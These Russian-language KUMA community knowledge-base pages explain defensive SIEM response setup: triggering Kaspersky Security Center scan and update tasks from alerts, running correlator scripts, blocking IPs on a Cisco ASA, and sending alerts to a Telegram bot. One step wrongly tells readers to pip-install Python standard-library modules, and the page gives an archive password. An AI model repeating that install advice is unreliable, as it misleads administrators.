[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/NC0image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/NC0image.png)

<span style="mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">1.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">Нажмите **Добавить** и затем **Далее**.</span>

<span style="mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">2.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">В окне **Выбор учетной записи для запуска задачи** укажите **Учетная запись по умолчанию**. Нажмите **Далее**.</span>

<span style="mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">3.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">Завершите работу мастера, нажав кнопку **Готово**.</span>

<span style="mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">1.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">В открывшемся окне свойств задачи перейдите на вкладку **Параметры приложения** и при необходимости отредактируйте **Источники обновлений** и **Настройки обновлений**.</span>

<span style="mso-bidi-font-size: 10.0pt;"> </span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/uSOimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/uSOimage.png)

<span style="mso-bidi-font-size: 10.0pt; mso-no-proof: yes;"> </span>

<span style="mso-bidi-font-size: 10.0pt;"> </span><span style="mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">2.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">Перейдите на вкладку **Расписание** и убедитесь, что для параметра **Запуск задачи** указано **Вручную**.</span>

<span style="mso-bidi-font-size: 10.0pt;"> </span>[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/UjIimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/UjIimage.png)

<span style="mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">3.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">Нажмите **Сохранить**.</span>

<span style="mso-bidi-font-size: 10.0pt;">Задача обновления антивирусных баз и модулей создана.</span>

#### <span style="mso-bidi-font-size: 10.0pt;"><span style="color: rgb(22, 145, 121);">**Реагирование вручную средствами Kaspersky Security Center**</span>  
</span>

Чтобы запустить реагирование средствами Kaspersky Security Center вручную:

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">1.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Перейдите в **Алерты** и выберите алерт, в рамках которого необходимо запустить действие по реагированию. В нашем примере это алерт **R220\_Сбор информации об учетных записях.**</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">2.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В карточке алерта в разделе **Связанные активы** выберите актив для запуска задачи.</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">3.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В появившемся окне **Информация об активе** нажмите **Запустить задачу.**</span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/UyYimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/UyYimage.png)

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">4.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В раскрывающемся списке выберите **Реагирование** </span>**<span lang="EN-US">KSC</span>**<span lang="EN-US" style="mso-ansi-language: RU;"> </span><span style="mso-ansi-language: RU;">и далее ранее созданную задачу </span>**<span lang="EN-US">KUMA</span><span style="mso-ansi-language: RU;"> Обновление антивирусных баз и модулей </span>**<span style="mso-ansi-language: RU;">(перед запуском задачи **KUMA Поиск вредоносного ПО** выполним задачу обновления для получения наиболее актуальных сигнатур вредоносного ПО). </span>

  
[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/UaNimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/UaNimage.png)

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">5.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Нажмите **Запустить**.</span>

**<span style="mso-tab-count: 1;"> </span>**Задача обновления на выбранном активе запущена.

<span style="mso-tab-count: 1;"> </span>Чтобы убедиться, что задача была запущена и завершена успешно перейдите в раздел **События** и выполните следующий поисковый запрос:

<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" id="bkmrk-select-%2A-from-%60event" style="margin-left: 16.65pt; border-collapse: collapse; width: 81.1905%; height: 67.8409px; border-width: 0px; border-spacing: 0px; border-color: rgb(22, 145, 121);"><tbody><tr style="height: 67.8409px;"><td style="width: 100%; border: 1.5pt solid rgb(22, 145, 121); padding: 0cm 5.4pt; height: 67.8409px;" valign="top" width="680"><span lang="EN-US" style="mso-ansi-language: EN-US;">SELECT \* FROM `events` WHERE FlexString2 = 'KUMA </span>Обновление<span style="mso-ansi-language: EN-US;"> </span>антивирусных<span style="mso-ansi-language: EN-US;"> </span>баз<span style="mso-ansi-language: EN-US;"> </span>и<span style="mso-ansi-language: EN-US;"> </span>модулей<span lang="EN-US" style="mso-ansi-language: EN-US;">' AND<span style="color: rgb(22, 145, 121);"> </span>DeviceEventClassID = 'KLPRCI\_TaskState' AND DeviceProduct = 'KSC' ORDER BY Timestamp DESC LIMIT 250</span>

</td></tr></tbody></table>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/lVvimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/lVvimage.png)

<span lang="EN-US" style="mso-ansi-language: EN-US;"><span style="mso-tab-count: 1;"> </span></span>Также статус выполнения задачи можно посмотреть в консоли Kaspersky Security Center или непосредственно в интерфейсе приложения Kaspersky <span lang="EN-US" style="mso-ansi-language: EN-US;">Endpoint</span> <span lang="EN-US" style="mso-ansi-language: EN-US;">Security</span>.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/xkmimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/xkmimage.png)

Далее запустите ранее созданную задачу **KUMA Поиск вредоносного ПО**:

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">1.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Перейдите в **Алерты** и выберите алерт, в рамках которого необходимо запустить действие по реагированию. В нашем примере это алерт **R220\_Сбор информации об учетных записях.**</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">2.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В карточке алерта в разделе **Связанные активы** выберите актив для запуска задачи.</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">3.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В появившемся окне **Информация об активе** нажмите **Запустить задачу.**</span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/QTxcyximage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/QTxcyximage.png)

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">4.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В раскрывающемся списке выберите **Реагирование** </span>**<span lang="EN-US">KSC</span>**<span lang="EN-US" style="mso-ansi-language: RU;"> </span><span style="mso-ansi-language: RU;">и далее ранее созданную задачу </span>**<span lang="EN-US">KUMA</span><span lang="EN-US" style="mso-ansi-language: RU;"> </span><span style="mso-ansi-language: RU;">Поиск вредоносного ПО.</span>**<span style="mso-ansi-language: RU;"> </span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">5.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Нажмите **Запустить**.</span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/QZBimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/QZBimage.png)

Задача поиска вредоносного ПО на выбранном активе запущена.  
Чтобы убедиться, что задача завершена успешно перейдите в раздел **События** и выполните  
следующий поисковый запрос:

<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" id="bkmrk-select-%2A-from-%60event-1" style="border-collapse: collapse; border-width: 0px; border-spacing: 0px; border-color: rgb(22, 145, 121);"><tbody><tr style="mso-yfti-irow: -1; mso-yfti-firstrow: yes; mso-yfti-lastfirstrow: yes; mso-yfti-lastrow: yes;"><td style="width: 510.2pt; border: 1.5pt solid rgb(22, 145, 121); padding: 0cm 5.4pt;" valign="top" width="680"><span lang="EN-US" style="mso-ansi-language: EN-US;">SELECT \* FROM `events` WHERE FlexString2 = 'KUMA Поиск вредоносного ПО' AND DeviceEventClassID = 'KLPRCI\_TaskState' AND DeviceProduct = 'KSC' ORDER BY Timestamp DESC LIMIT 250</span>

</td></tr></tbody></table>

Также статус выполнения задачи можно посмотреть в консоли Kaspersky Security Center или  
непосредственно в интерфейсе приложения Kaspersky Endpoint Security.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/EAcimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/EAcimage.png)

Запускать вручную реагирование средствами Kaspersky Security Center также можно из раздела **Активы**, выбрав соответствующий актив из списка, или из карточки **События**, нажав на имя актива в поле **\*<span lang="EN-US" style="mso-ansi-language: EN-US;">AssetID</span>**.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/vVUimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/vVUimage.png)

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/Ds6image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/Ds6image.png)

<span lang="EN-US" style="mso-ansi-language: EN-US;"> </span>

<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" id="bkmrk-%D0%A1%D1%82%D0%B0%D1%82%D1%8C%D1%8F-%D0%BE%D0%BD%D0%BB%D0%B0%D0%B9%D0%BD-%D1%81%D0%BF%D1%80%D0%B0%D0%B2%D0%BA" style="border-collapse: collapse; border: none; mso-border-alt: solid #00A88E 1.5pt; mso-border-themecolor: accent1; mso-yfti-tbllook: 1184; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-border-insideh: 1.5pt solid #00A88E; mso-border-insideh-themecolor: accent1; mso-border-insidev: 1.5pt solid #00A88E; mso-border-insidev-themecolor: accent1;"><tbody><tr style="mso-yfti-irow: -1; mso-yfti-firstrow: yes; mso-yfti-lastfirstrow: yes; mso-yfti-lastrow: yes;"><td style="width: 510.2pt; border: solid #00A88E 1.5pt; mso-border-themecolor: accent1; padding: 0cm 5.4pt 0cm 5.4pt;" valign="top" width="680"><span style="color: rgb(22, 145, 121);">Статья онлайн-справки «Автоматический запуск задач Kaspersky Security Center»:</span>

<span style="color: rgb(22, 145, 121);">**[<span lang="EN-US" style="mso-ansi-language: EN-US; font-weight: normal;">https</span><span style="font-weight: normal;">://</span><span lang="EN-US" style="mso-ansi-language: EN-US; font-weight: normal;">support</span><span style="font-weight: normal;">.</span><span lang="EN-US" style="mso-ansi-language: EN-US; font-weight: normal;">kaspersky</span><span style="font-weight: normal;">.</span><span lang="EN-US" style="mso-ansi-language: EN-US; font-weight: normal;">ru</span><span style="font-weight: normal;">/</span><span lang="EN-US" style="mso-ansi-language: EN-US; font-weight: normal;">kuma</span><span style="font-weight: normal;">/3.2/218008</span>](https://support.kaspersky.ru/kuma/3.2/218008)**</span>

<span style="color: rgb(22, 145, 121);"> </span>

<span style="color: rgb(22, 145, 121);"><span lang="EN-US">KUMA</span> <span lang="EN-US">Community</span> «Настройка автоматического реагирования KUMA с помощью задач KSC»: </span>

<span style="color: rgb(22, 145, 121);">**[<span lang="EN-US" style="mso-ansi-language: EN-US; font-weight: normal;">https</span><span style="font-weight: normal;">://</span><span lang="EN-US" style="mso-ansi-language: EN-US; font-weight: normal;">kb</span><span style="font-weight: normal;">.</span><span lang="EN-US" style="mso-ansi-language: EN-US; font-weight: normal;">kuma</span><span style="font-weight: normal;">-</span><span lang="EN-US" style="mso-ansi-language: EN-US; font-weight: normal;">community</span><span style="font-weight: normal;">.</span><span lang="EN-US" style="mso-ansi-language: EN-US; font-weight: normal;">ru</span><span style="font-weight: normal;">/</span><span lang="EN-US" style="mso-ansi-language: EN-US; font-weight: normal;">books</span><span style="font-weight: normal;">/</span><span lang="EN-US" style="mso-ansi-language: EN-US; font-weight: normal;">integracii</span><span style="font-weight: normal;">/</span><span lang="EN-US" style="mso-ansi-language: EN-US; font-weight: normal;">page</span><span style="font-weight: normal;">/</span><span lang="EN-US" style="mso-ansi-language: EN-US; font-weight: normal;">nastroika</span><span style="font-weight: normal;">-</span><span lang="EN-US" style="mso-ansi-language: EN-US; font-weight: normal;">avtomaticeskogo</span><span style="font-weight: normal;">-</span><span lang="EN-US" style="mso-ansi-language: EN-US; font-weight: normal;">reagirovaniia</span><span style="font-weight: normal;">-</span><span lang="EN-US" style="mso-ansi-language: EN-US; font-weight: normal;">kuma</span><span style="font-weight: normal;">-</span><span lang="EN-US" style="mso-ansi-language: EN-US; font-weight: normal;">s</span><span style="font-weight: normal;">-</span><span lang="EN-US" style="mso-ansi-language: EN-US; font-weight: normal;">pomoshhiu</span><span style="font-weight: normal;">-</span><span lang="EN-US" style="mso-ansi-language: EN-US; font-weight: normal;">zadac</span><span style="font-weight: normal;">-</span><span lang="EN-US" style="mso-ansi-language: EN-US; font-weight: normal;">ksc</span>](https://kb.kuma-community.ru/books/integracii/page/nastroika-avtomaticeskogo-reagirovaniia-kuma-s-pomoshhiu-zadac-ksc)**</span>

</td></tr></tbody></table>

# Запуск скрипта коррелятором

<p class="callout warning">Интерпретатор скрипта должен поддерживаться ОС на которой находится скрипт.</p>

Для того чтобы коррелятор мог запускать скрипты. Зайти по ssh на сервер где находится служба коррелятора и поместите скрипт (можно сделать с помощью WinSCP или любым другим инструментом) в следующую папку коррелятора:

```bash
/opt/kaspersky/kuma/correlator/<id>/scripts/
```

`<id>` - идентификатор коррелятора, можно найти в веб-интерфейсе (подробнее как это сделать [ссылка](https://kb.kuma-community.ru/link/47#bkmrk-q%3A-%D0%9A%D0%B0%D0%BA-%D0%BF%D0%BE%D1%81%D0%BC%D0%BE%D1%82%D1%80%D0%B5%D1%82%D1%8C-id))

Назначьте пользователя kuma владельцем файла и дайте файлу права на выполнение:

```bash
chown kuma:kuma /opt/kaspersky/kuma/correlator/<id>/scripts/my_script.sh
chmod +x /opt/kaspersky/kuma/correlator/<id>/scripts/my_script.sh
```

<p class="callout info">Если скриптом производится работа с файлами, то пользователь kuma должен иметь права на эти файлы (рекомендуется использовать полный путь в скриптах)</p>

<div id="bkmrk-"><div><button type="button"><svg height="16" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div></div>В группирующем поле **правила корреляции** должны находиться целевые поля, которые используются в правилах реагирования, в нашем примере это **DestinationAddress**.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/scaled-1680-/tSVimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/tSVimage.png)

В правиле реагирования рекомендуется добавить в условие (если необходимо) правило корреляции, на основе которого реагирование будет срабатывать:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/scaled-1680-/tmjimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/tmjimage.png)

<p class="callout info">После внесения изменений в ресурсах (правила корреляции или реагирования) необходимо обновить параметры коррелятора в активных сервисах</p>

# Настройка автоматического реагирования KUMA с помощью задач KSC

<p class="callout info">Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и **НЕ** является официальной рекомендацией вендора.</p>

<p class="callout info">Официальная документация по данному разделу приведена в Онлайн-справке на продукт: https://support.kaspersky.com/KUMA/2.1/ru-RU/217923.htm</p>

### Сценарий демонстрации  


Предлагается следующий сценарий для демонстрации возможностей по автоматическому реагированию с помощью задач на KSC:

- на защищаемом устройстве с KES запустить тестовый вирус eicar
- событие обнаружения вируса поступает на KUMA
- на KUMA срабатывает корреляционное правило «Обнаружен вирус»
- на KUMA выполняется команда на запуск антивирусной проверки на защищаемом устройстве

---

### Настройка на стороне KSC

Создать внутреннего пользователя на KSC с необходимыми правами подробнее [**тут**](https://kb.kuma-community.ru/books/integracii/page/integraciia-kuma-s-ksc).

Создать задачу поиска вирусов для KES либо обновления баз. В KUMA механизм автоматического реагирования работает только для KES.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/A8qimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/A8qimage.png)

В целях тестирования можно уменьшить область поиска. В дальнейшем эту настройку можно изменить.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/wxzimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/wxzimage.png)

Выполнить настройки задачи, как на рисунке ниже:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/OfRimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/OfRimage.png)

Для создания задачи нужно указать любое устройство. При автоматическом запуске задачи KUMA будет передавать хосты, на которых нужно запустить задачу.

Затем нужно выбрать учетную запись и Настроить запуск задачи вручную.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/7f9image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/7f9image.png)

Важно в названии задачи сделать префикс «**KUMA**». Задачи для KES с этим префиксом будут доступны в интерфейсе KUMA. В нашем случае создаем задачу «**KUMA Поиск вирусов**».

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/dPRimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/dPRimage.png)

Завершить создание задачи.

---

### Настройка на стороне KUMA

Настроить интеграцию с KSC. При настройке «секрета» использовать учетную запись KSC, созданную на предыдущем шаге.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/IRPimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/IRPimage.png)

Далее можно убедиться, что поступают новые события аудита от KSC - подключен пользователь с адреса KUMA.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/yO5image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/yO5image.png)

акже на этом шаге важно убедится, что значение в поле DestinationHostName записывается в виде полного доменного имени FQDN.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/qjximage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/qjximage.png)

Если это не так и значение записывается в виде hostname без доменной части, то необходимо настроить нормализацию.  
Для этого открыть нормализатор KSC.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/DkIimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/DkIimage.png)

Настроить преобразование для поля DestinationHostName перед сохранением события

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/gmuimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/gmuimage.png)

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/GhUimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/GhUimage.png)

Сохранить нормализатор и обновить параметры коллектора.  
Проверить, что значение DestinationHostName в новых событиях сохраняются в виде FQDN.

---

### Подготовка ресурсов KUMA

Далее необходимо создать правила корреляции и реагирования. Это можно сделать вручную либо импортировать ресурсы из файла (Демонстрационный). Данная инструкция с импортом ресурсов.

Файл ресурсов можно скачать по ссылке: [https://box.kaspersky.com/f/a84686dbb6b3404987ff/](https://box.kaspersky.com/f/a84686dbb6b3404987ff/) Пароль: **KLaapt-M1** (вводится в интерфейсе KUMA при импортировании)

<p class="callout warning">Для сработки правила реагирования необходимо добавить в наследуеме поля правила корреляции поле DestinationAssetID</p>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/VvOimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/VvOimage.png)

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/qvOimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/qvOimage.png)

Привязать правило корреляции к коррелятору:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/AwMimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/AwMimage.png)

Привязать правило реагирования к коррелятору.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/I0Gimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/I0Gimage.png)

Сохранить настройки и перезапустить коррелятор.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/AIYimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/AIYimage.png)

---

### Проверка автоматического реагирования

На защищаемом устройстве эмулировать вирусное заражение с помощью eicar. Получено событие от KSC «Обнаружен вредоносный объект».

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/p1Limage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/p1Limage.png)

Создано корреляционное событие «\[KES\] Обнаружен вредоносный объект».

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/cQvimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/cQvimage.png)

Получены события подключения KUMA к KSC – события аудита.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/psBimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/psBimage.png)

Получены события о выполнении задачи поиска вирусов на KSC.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/iaRimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/iaRimage.png)

В KSC присутствуют события обнаружения вируса, подключения KUMA, выполнения задачи поиска вирусов.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/KC6image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/KC6image.png)

# Блокировка адресов при помощи Cisco ASA Firewall на основе сработок алертов

<p class="callout info">Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и **НЕ** является официальной рекомендацией вендора.</p>

<p class="callout info">Данный скрипт добавлен пользователем KUMA Community и предоставляется AS IS без каких-либо гарантий и ответственности.</p>

<span style="text-decoration: underline;">В нашем случае мы при помощи правила корреляции, на основе логов веб-сервера Apache, блокируем входящий трафик от внешних адресов.</span>

Для настройки реагирования средствами Cisco ASA (блокировки IP адресов) (пример, при подключении по SSH) необходимо:

1. Авторизоваться на ASA с привилегиями, позволяющими переходить в режим конфигурирования, отправить команду  
    `<strong>conf t</strong>`
2. Создать объект, в который наш скрипт будет добавлять адреса (черный список), назовём его BLACKLIST. Создаём командой   
    `<strong>object network BLACKLIST</strong>`
3. На ASA создаём access-list, который будет блокировать входящие сетевые соединения из интернета от IP находящихся в нашем объекте. Пример:  
    `access-list INTERNET extended deny ip object-group BLACKLIST any`

---

### Настройка на стороне KUMA

1. В группирующем поле **правила корреляции** должны находиться целевые поля, которые используются в правилах реагирования, в нашем примере это **sourceAddress**[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/scaled-1680-/7Gcimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/7Gcimage.png)
2. В "селекторы" и "действия" задаём необходимые в данном кейсе параметры.  
    Обязательно добавить обогащение событие EventOutcome (как указано на скриншоте), это ключ (триггер) для следующего этапа по запуску правила реагирования.  
    [![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/scaled-1680-/h7zimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/h7zimage.png)
3. Размещаем скрипт (находится в [папке](https://box.kaspersky.com/d/f630e3ab02b64405881a/?p=%2FResponse%2FCisco%20ASA%20Firewall%20(Community%20User)&mode=list "скрипт asa.py") пресейл-пака) предварительно заменив ключевые данные в скрипте, а именно:ip asa, login, password с правами, необходимыми для добавления в объект BLACK (см. выше, этап настройки ASA)
4. Скрипт помещаем на сервере(-ах) по пути   
    `/opt/kaspersky/kuma/correlator/<id>/scripts/` и предоставляем права пользователю kuma, чтобы служба имела достаточные права для запуска скрипта, командами:  
    `chown kuma:kuma /opt/kaspersky/kuma/correlator/<id>/scripts/asa.py`  
    `chmod +x /opt/kaspersky/kuma/correlator/<id>/scripts/asa.py`
5. <p class="callout warning">**Данный этап индивидуален и зависит конкретно от Вашего экземпляра ОС, возможно будут дополнительные ошибки при запуске скрипта, для проверки скрипт можно запускать вручную с сервера и проверять работоспособность**</p>
    
    Также на сервер коррелятора в pip3 необходимо до установить следующие библиотеки, для возможности запуска python3.\*  
      
    threading  
    paramiko  
    sys  
    argparse  
    subprocess  
      
    команда:  
    `pip3 install threading paramiko sys argparse subprocess`
6. Создаём правило реагирования, которое будет непосредственно запускать скрипт на коллекторе (шаг 4)  
    [![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/scaled-1680-/etSimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/etSimage.png)
    
    ключевое, задаём Название скрипта, который мы перенесли на сервер коррелятора (шаг 4), также аргументы скрипта, как на скриншоте и ключевое поле EventOutcome = BLOCK (добавляется при срабатывании алерта, при помощи обогащения) (указано как пример, можно задать списком и другими полями).
7. Осталось привязать новое правило корреляции. Привязываем к коррелятору.   
    Ресурсы -&gt; Корреляторы -&gt; Выбираем наш -&gt; Корреляция, привязать (на скриншоте)  
    [![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/scaled-1680-/qZaimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/qZaimage.png)
8. Также необходимо здесь же добавить правило реагирования  
    [![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/scaled-1680-/A12image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/A12image.png)
9. Готово, сохраняем и рестартуем коррелятор (ы)

# Отправка уведомления в телеграм-бот

<p class="callout info">Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и **НЕ** является официальной рекомендацией вендора.</p>

### Настройка Telegram

1\. В Telegram находим бота: [https://t.me/BotFather](https://t.me/BotFather)

2\. Запускаем командой `/start`

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/EoRimage.png)

3\. Создаем нового бота командой `/newbot`

4\. Вводим желаемое имя и логин бота (должен заканчиваться словом `bot`). В данном примере имя бота "KUMA DEMO" и логин бота "kumademo\_bot".

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/UI2image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/UI2image.png)

5\. По завершении получаем токен для обращения к боту и ссылку на него

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/Gviimage.png)

